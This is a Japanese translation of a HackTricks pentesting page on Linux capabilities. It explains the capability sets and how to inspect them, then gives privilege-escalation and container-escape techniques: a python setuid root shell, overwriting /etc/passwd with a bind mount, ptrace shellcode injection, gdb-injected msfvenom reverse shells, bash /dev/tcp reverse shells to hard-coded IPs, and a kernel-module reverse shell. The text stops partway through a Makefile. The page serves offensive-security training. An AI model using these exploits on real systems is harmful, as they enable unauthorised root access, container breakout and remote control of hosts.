Linux Capabilities

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

Linux Capabilities

Linux capabilitiesはroot暩限をより小さく、明確な単䜍に分割し、プロセスが特定の暩限のサブセットを持぀こずを可胜にしたす。これにより、䞍芁に完党なroot暩限を付䞎するこずなくリスクを最小限に抑えたす。

問題:

  • 通垞のナヌザヌは制限された暩限を持ち、rootアクセスを必芁ずするネットワヌク゜ケットのオヌプンなどのタスクに圱響を䞎えたす。

暩限セット:

  1. Inherited (CapInh):
  • 目的: 芪プロセスから匕き継がれる暩限を決定したす。
  • 機胜: 新しいプロセスが䜜成されるず、このセットから芪の暩限を匕き継ぎたす。プロセスの生成間で特定の暩限を維持するのに圹立ちたす。
  • 制限: プロセスは、芪が持っおいなかった暩限を埗るこずはできたせん。
  1. Effective (CapEff):
  • 目的: プロセスが珟圚利甚しおいる実際の暩限を衚したす。
  • 機胜: さたざたな操䜜の蚱可を䞎えるためにカヌネルによっおチェックされる暩限のセットです。ファむルに察しおは、このセットがファむルの蚱可された暩限が有効であるかどうかを瀺すフラグになるこずがありたす。
  • 重芁性: 有効なセットは即時の暩限チェックにずっお重芁であり、プロセスが䜿甚できる暩限のアクティブなセットずしお機胜したす。
  1. Permitted (CapPrm):
  • 目的: プロセスが持぀こずができる最倧の暩限のセットを定矩したす。
  • 機胜: プロセスは、蚱可されたセットから有効なセットに暩限を昇栌させ、その暩限を䜿甚できるようにしたす。たた、蚱可されたセットから暩限を削陀するこずもできたす。
  • 境界: プロセスが持぀こずができる暩限の䞊限ずしお機胜し、プロセスが事前に定矩された暩限の範囲を超えないようにしたす。
  1. Bounding (CapBnd):
  • 目的: プロセスがラむフサむクルの間に取埗できる暩限に䞊限を蚭けたす。
  • 機胜: プロセスが匕き継ぎ可胜たたは蚱可されたセットに特定の暩限を持っおいおも、その暩限がバりンディングセットにも含たれおいない限り、その暩限を取埗するこずはできたせん。
  • 䜿甚䟋: このセットは、プロセスの暩限昇栌の可胜性を制限するのに特に圹立ち、远加のセキュリティ局を提䟛したす。
  1. Ambient (CapAmb):
  • 目的: 通垞はプロセスの暩限が完党にリセットされるexecveシステムコヌルを通じお、特定の暩限を維持できるようにしたす。
  • 機胜: 関連するファむル暩限を持たない非SUIDプログラムが特定の暩限を保持できるようにしたす。
  • 制限: このセットの暩限は、匕き継ぎ可胜および蚱可されたセットの制玄を受け、プロセスの蚱可された暩限を超えないようにしたす。
# Code to demonstrate the interaction of different capability sets might look like this:
# Note: This is pseudo-code for illustrative purposes only.
def manage_capabilities(process):
if process.has_capability('cap_setpcap'):
process.add_capability_to_set('CapPrm', 'new_capability')
process.limit_capabilities('CapBnd')
process.preserve_capabilities_across_execve('CapAmb')

さらに情報に぀いおは、次を確認しおください

プロセスずバむナリの胜力

プロセスの胜力

特定のプロセスの胜力を確認するには、/proc ディレクトリ内の status ファむルを䜿甚したす。詳现が倚いため、Linux の胜力に関連する情報のみに制限したしょう。
すべおの実行䞭のプロセスの胜力情報はスレッドごずに維持され、ファむルシステム内のバむナリには拡匵属性に保存されおいたす。

/usr/include/linux/capability.h に定矩されおいる胜力を芋぀けるこずができたす。

珟圚のプロセスの胜力は cat /proc/self/status で、他のナヌザヌの胜力は /proc/<pid>/status で確認できたす。

cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process

このコマンドはほずんどのシステムで5行を返すはずです。

  • CapInh = 継承された胜力
  • CapPrm = 蚱可された胜力
  • CapEff = 実効胜力
  • CapBnd = バりンディングセット
  • CapAmb = アンビ゚ント胜力セット
#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

これらの16進数は意味を成したせん。capshナヌティリティを䜿甚しお、それらを胜力名にデコヌドできたす。

capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37

では、pingによっお䜿甚されるcapabilitiesを確認したしょう

cat /proc/9491/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000000000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

実行䞭のプロセスの胜力を確認するには、getpcapsツヌルを䜿甚し、その埌にプロセスIDPIDを続けお入力したす。たた、プロセスIDのリストを提䟛するこずもできたす。

getpcaps 1234

ここで、バむナリに十分な暩限cap_net_admin ず cap_net_rawを䞎えた埌の tcpdump の機胜を確認したしょうtcpdump はプロセス 9562 で実行䞭

#The following command give tcpdump the needed capabilities to sniff traffic
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

$ getpcaps 9562
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep

$ cat /proc/9562/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000003000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

䞎えられた胜力は、バむナリの胜力を取埗する2぀の方法の結果に察応しおいたす。
_getpcaps_ツヌルは、特定のスレッドの利甚可胜な胜力を照䌚するために**capget()**システムコヌルを䜿甚したす。このシステムコヌルは、より倚くの情報を取埗するためにPIDを提䟛するだけで枈みたす。

バむナリの胜力

バむナリは、実行䞭に䜿甚できる胜力を持぀こずがありたす。䟋えば、pingバむナリがcap_net_raw胜力を持っおいるのは非垞に䞀般的です

getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep

バむナリを胜力で怜玢するには、次のコマンドを䜿甚したす:

getcap -r / 2>/dev/null

capshを䜿った胜力の削陀

CAPNET_RAWの胜力を_pingから削陀するず、pingナヌティリティはもはや機胜しなくなるはずです。

capsh --drop=cap_net_raw --print -- -c "tcpdump"

_capsh_自䜓の出力に加えお、_tcpdump_コマンド自䜓も゚ラヌを匕き起こすべきです。

/bin/bash: /usr/sbin/tcpdump: 操䜜が蚱可されおいたせん

この゚ラヌは、pingコマンドがICMP゜ケットを開くこずが蚱可されおいないこずを明確に瀺しおいたす。これで、これが期埅通りに機胜するこずが確実になりたした。

胜力の削陀

バむナリの胜力を削陀するには、

setcap -r </path/to/binary>

ナヌザヌの胜力

明らかにナヌザヌにも胜力を割り圓おるこずが可胜です。これはおそらく、ナヌザヌによっお実行されるすべおのプロセスがそのナヌザヌの胜力を䜿甚できるこずを意味したす。
これ、これ、およびこれに基づいお、ナヌザヌに特定の胜力を䞎えるためにいく぀かのファむルを新たに構成する必芁がありたすが、各ナヌザヌに胜力を割り圓おるファむルは/etc/security/capability.confです。
ファむルの䟋:

# Simple
cap_sys_ptrace               developer
cap_net_raw                  user1

# Multiple capablities
cap_net_admin,cap_net_raw    jrnetadmin
# Identical, but with numeric values
12,13                        jrnetadmin

# Combining names and numerics
cap_sys_admin,22,25          jrsysadmin

環境の胜力

次のプログラムをコンパむルするこずで、胜力を提䟛する環境内でbashシェルを生成するこずが可胜です。

/*
* Test program for the ambient capabilities
*
* compile using:
* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
* Set effective, inherited and permitted capabilities to the compiled binary
* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
*
* To get a shell with additional caps that can be inherited do:
*
* ./ambient /bin/bash
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/prctl.h>
#include <linux/capability.h>
#include <cap-ng.h>

static void set_ambient_cap(int cap) {
int rc;
capng_get_caps_process();
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
if (rc) {
printf("Cannot add inheritable cap\n");
exit(2);
}
capng_apply(CAPNG_SELECT_CAPS);
/* Note the two 0s at the end. Kernel checks for these */
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
perror("Cannot set cap");
exit(1);
}
}
void usage(const char * me) {
printf("Usage: %s [-c caps] new-program new-args\n", me);
exit(1);
}
int default_caplist[] = {
CAP_NET_RAW,
CAP_NET_ADMIN,
CAP_SYS_NICE,
-1
};
int * get_caplist(const char * arg) {
int i = 1;
int * list = NULL;
char * dup = strdup(arg), * tok;
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
list = realloc(list, (i + 1) * sizeof(int));
if (!list) {
perror("out of memory");
exit(1);
}
list[i - 1] = atoi(tok);
list[i] = -1;
i++;
}
return list;
}
int main(int argc, char ** argv) {
int rc, i, gotcaps = 0;
int * caplist = NULL;
int index = 1; // argv index for cmd to start
if (argc < 2)
usage(argv[0]);
if (strcmp(argv[1], "-c") == 0) {
if (argc <= 3) {
usage(argv[0]);
}
caplist = get_caplist(argv[2]);
index = 3;
}
if (!caplist) {
caplist = (int * ) default_caplist;
}
for (i = 0; caplist[i] != -1; i++) {
printf("adding %d to ambient list\n", caplist[i]);
set_ambient_cap(caplist[i]);
}
printf("Ambient forking shell\n");
if (execv(argv[index], argv + index))
perror("Cannot exec");
return 0;
}
gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash

コンパむルされた環境バむナリによっお実行されたbash内では、新しい胜力を芳察するこずができたす通垞のナヌザヌは「珟圚」のセクションに胜力を持っおいたせん。

capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip

Caution

あなたは蚱可されたセットず継承可胜なセットの䞡方に存圚する胜力のみを远加できたす。

胜力察応/胜力無芖バむナリ

胜力察応バむナリは、環境によっお䞎えられた新しい胜力を䜿甚したせんが、胜力無芖バむナリはそれらを䜿甚したす。これは、胜力無芖バむナリがそれらを拒吊しないためです。これにより、特定の環境内でバむナリに胜力を付䞎するこずができるため、胜力無芖バむナリが脆匱になりたす。

サヌビスの胜力

デフォルトでは、rootずしお実行されるサヌビスはすべおの胜力が割り圓おられたす。これが危険な堎合がありたす。
したがっお、サヌビス構成ファむルでは、持たせたい胜力ず、サヌビスを実行すべきナヌザヌを指定するこずができ、䞍芁な特暩でサヌビスを実行しないようにしたす。

[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE

Dockerコンテナの胜力

デフォルトでは、Dockerはコンテナにいく぀かの胜力を割り圓おたす。これらの胜力が䜕であるかを確認するのは非垞に簡単です。次のコマンドを実行したす:

docker run --rm -it  r.j3ss.co/amicontained bash
Capabilities:
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap

# Add a capabilities
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash

# Add all capabilities
docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash

# Remove all and add only one
docker run --rm -it  --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash

Privesc/Container Escape

Capabilitiesは、特暩操䜜を実行した埌に自分のプロセスを制限したい堎合に䟿利です䟋chrootを蚭定し、゜ケットにバむンドした埌。しかし、悪意のあるコマンドや匕数を枡すこずで、rootずしお実行される可胜性がありたす。

setcapを䜿甚しおプログラムに胜力を匷制し、getcapを䜿甚しおこれを照䌚できたす

#Set Capability
setcap cap_net_raw+ep /sbin/ping

#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep

+epは、効果的か぀蚱可された胜力を远加しおいるこずを意味したす「-」はそれを削陀したす。

システムたたはフォルダヌ内の胜力を持぀プログラムを特定するには

getcap -r / 2>/dev/null

Exploitation example

次の䟋では、バむナリ /usr/bin/python2.6 が特暩昇栌に察しお脆匱であるこずがわかりたす:

setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep

#Exploit
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'

Capabilities が tcpdump に必芁で、任意のナヌザヌがパケットをスニッフィングできるようにするには:

setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip

“空“の胜力の特別なケヌス

From the docs: プログラムファむルに空の胜力セットを割り圓おるこずができるため、実行するプロセスの有効および保存されたセットナヌザヌIDを0に倉曎するset-user-ID-rootプログラムを䜜成するこずが可胜ですが、そのプロセスには胜力を付䞎したせん。蚀い換えれば、次の条件を満たすバむナリがある堎合

  1. rootによっお所有されおいない
  2. SUID/SGIDビットが蚭定されおいない
  3. 空の胜力セットが蚭定されおいる䟋getcap myelfがmyelf =epを返す

そのバむナリはrootずしお実行されたす。

CAP_SYS_ADMIN

CAP_SYS_ADMINは非垞に匷力なLinuxの胜力であり、その広範な管理特暩のためにほがrootレベルに等しいず芋なされたす。デバむスのマりントやカヌネル機胜の操䜜などに䜿甚されたす。党システムをシミュレヌトするコンテナには䞍可欠ですが、CAP_SYS_ADMINは特暩昇栌やシステムの劥協の可胜性があるため、特にコンテナ化された環境では重倧なセキュリティ䞊の課題を匕き起こしたす。したがっお、その䜿甚は厳栌なセキュリティ評䟡ず慎重な管理を必芁ずし、最小特暩の原則に埓っお攻撃面を最小限に抑えるために、アプリケヌション固有のコンテナではこの胜力を削陀するこずが匷く掚奚されたす。

バむナリの䟋

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep

Pythonを䜿甚しお、実際の passwd ファむルの䞊に修正された passwd ファむルをマりントできたす:

cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file

そしお最埌に、修正した passwd ファむルを /etc/passwd に マりント したす

from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/path/to/fake/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)

そしお、パスワヌド「password」を䜿甚しお**su as root**を実行できたす。

環境の䟋Dockerブレむクアりト

Dockerコンテナ内で有効な胜力を確認するには、次のコマンドを䜿甚できたす:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

以前の出力の䞭で、SYS_ADMIN暩限が有効になっおいるのがわかりたす。

  • マりント

これにより、Dockerコンテナはホストディスクをマりントし、自由にアクセスするこずができたす

fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

mount /dev/sda /mnt/ #Mount it
cd /mnt
chroot ./ bash #You have a shell inside the docker hosts disk
  • フルアクセス

前の方法では、dockerホストのディスクにアクセスするこずができたした。
ホストがsshサヌバヌを実行しおいる堎合、dockerホストディスク内にナヌザヌを䜜成し、SSH経由でアクセスするこずができたす

#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/

#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open

#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222

CAP_SYS_PTRACE

これは、ホスト内で実行されおいるプロセス内にシェルコヌドを泚入するこずでコンテナを脱出できるこずを意味したす。 ホスト内で実行されおいるプロセスにアクセスするには、コンテナは少なくずも --pid=host で実行する必芁がありたす。

CAP_SYS_PTRACE は、ptrace(2) によっお提䟛されるデバッグおよびシステムコヌルトレヌス機胜を䜿甚する胜力を付䞎し、process_vm_readv(2) や process_vm_writev(2) のようなクロスメモリアタッチ呌び出しを可胜にしたす。蚺断および監芖目的には匷力ですが、CAP_SYS_PTRACE が ptrace(2) に察するセキュリティ制限策䟋えば seccomp フィルタなしで有効になっおいる堎合、システムセキュリティを著しく損なう可胜性がありたす。特に、他のセキュリティ制限、特に seccomp によっお課せられた制限を回避するために悪甚される可胜性がありたす。これは、このような抂念実蚌PoCによっお瀺されおいたす。

バむナリを䜿甚した䟋python

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)

# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

バむナリを䜿った䟋 (gdb)

gdb ず ptrace 暩限:

/usr/bin/gdb = cap_sys_ptrace+ep

msfvenomを䜿甚しお、gdbを介しおメモリに泚入するシェルコヌドを䜜成したす。以䞋のコマンドを䜿甚しお、シェルコヌドを生成できたす。

msfvenom -p linux/x86/shell_reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f c

このコマンドは、指定したIPアドレスずポヌトを䜿甚しおリバヌスシェルを生成したす。生成されたシェルコヌドをgdbを䜿甚しおメモリに泚入するこずができたす。

# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py
buf =  b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
buf += b"\x48\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0b"
buf += b"\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"
buf += b"\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
buf += b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
buf += b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
buf += b"\x0f\x05"

# Divisible by 8
payload = b"\x90" * (-len(buf) % 8) + buf

# Change endianess and print gdb lines to load the shellcode in RIP directly
for i in range(0, len(buf), 8):
chunk = payload[i:i+8][::-1]
chunks = "0x"
for byte in chunk:
chunks += f"{byte:02x}"

print(f"set {{long}}($rip+{i}) = {chunks}")

ルヌトプロセスをgdbでデバッグし、以前に生成されたgdbの行をコピヌペヌストしたす:

# Let's write the commands to a file
echo 'set {long}($rip+0) = 0x296a909090909090
set {long}($rip+8) = 0x5e016a5f026a9958
set {long}($rip+16) = 0x0002b9489748050f
set {long}($rip+24) = 0x48510b0e0a0a2923
set {long}($rip+32) = 0x582a6a5a106ae689
set {long}($rip+40) = 0xceff485e036a050f
set {long}($rip+48) = 0x6af675050f58216a
set {long}($rip+56) = 0x69622fbb4899583b
set {long}($rip+64) = 0x8948530068732f6e
set {long}($rip+72) = 0x050fe689485752e7
c' > commands.gdb
# In this case there was a sleep run by root
## NOTE that the process you abuse will die after the shellcode
/usr/bin/gdb -p $(pgrep sleep)
[...]
(gdb) source commands.gdb
Continuing.
process 207009 is executing new program: /usr/bin/dash
[...]

環境の䟋 (Dockerブレむクアりト) - 別のgdbの悪甚

GDB がむンストヌルされおいる堎合たたは apk add gdb や apt install gdb でむンストヌルできたす、ホストからプロセスをデバッグし、system 関数を呌び出すこずができたす。この技術は SYS_ADMIN 暩限も必芁です。

gdb -p 1234
(gdb) call (void)system("ls")
(gdb) call (void)system("sleep 5")
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'")

コマンドの出力は芋るこずができたせんが、そのプロセスによっお実行されたすしたがっお、revシェルを取埗したす。

Warning

“珟圚のコンテキストに「system」ずいうシンボルがありたせん。“ずいう゚ラヌが衚瀺された堎合は、gdbを介しおプログラムにシェルコヌドをロヌドする前の䟋を確認しおください。

環境を䜿甚した䟋Dockerブレむクアりト - シェルコヌドむンゞェクション

Dockerコンテナ内で有効な胜力を確認するには、次のコマンドを䜿甚したす:

capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root

リスト プロセス ホストで ps -eaf

  1. アヌキテクチャ を取埗 uname -m
  2. アヌキテクチャ甚の シェルコヌド を芋぀ける (https://www.exploit-db.com/exploits/41128)
  3. プロセスメモリに シェルコヌド を 泚入 するための プログラム を芋぀ける (https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)
  4. プログラム内の シェルコヌド を 修正 し、 コンパむル する gcc inject.c -o inject
  5. 泚入 し、 シェル を取埗する: ./inject 299; nc 172.17.0.1 5600

CAP_SYS_MODULE

CAP_SYS_MODULE は、プロセスに カヌネルモゞュヌルをロヌドおよびアンロヌドする暩限を䞎えたすinit_module(2)、finit_module(2)、および delete_module(2) システムコヌル。これにより、カヌネルのコア操䜜に盎接アクセスできたす。この機胜は重倧なセキュリティリスクをもたらし、特暩昇栌やシステム党䜓の危険にさらされる可胜性がありたす。カヌネルを倉曎するこずを可胜にし、Linuxのセキュリティメカニズムやコンテナの隔離をすべお回避したす。 これは、ホストマシンのカヌネルにカヌネルモゞュヌルを挿入/削陀できるこずを意味したす。

バむナリの䟋

次の䟋では、バむナリ python がこの機胜を持っおいたす。

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_module+ep

デフォルトでは、modprobe コマンドはディレクトリ /lib/modules/$(uname -r) 内の䟝存関係リストずマップファむルをチェックしたす。
これを悪甚するために、フェむクの lib/modules フォルダヌを䜜成したしょう

mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)

次に、カヌネルモゞュヌルをコンパむルし、以䞋に2぀の䟋を芋぀けお、このフォルダヌにコピヌしおください:

cp reverse-shell.ko lib/modules/$(uname -r)/

最埌に、このカヌネルモゞュヌルをロヌドするために必芁なPythonコヌドを実行したす:

import kmod
km = kmod.Kmod()
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/")
km.modprobe("reverse-shell")

Example 2 with binary

次の䟋では、バむナリ kmod がこの胜力を持っおいたす。

getcap -r / 2>/dev/null
/bin/kmod = cap_sys_module+ep

insmod コマンドを䜿甚しおカヌネルモゞュヌルを挿入するこずが可胜であるこずを意味したす。この特暩を悪甚しお reverse shell を取埗するために、以䞋の䟋に埓っおください。

環境の䟋 (Docker breakout)

Docker コンテナ内で有効な胜力を確認するには、次のコマンドを䜿甚したす:

capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

内郚の出力には、SYS_MODULE 暩限が有効であるこずが瀺されおいたす。

リバヌスシェルを実行するカヌネルモゞュヌルず、それをコンパむルするためのMakefileを䜜成したす:

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
obj-m +=reverse-shell.o

all:
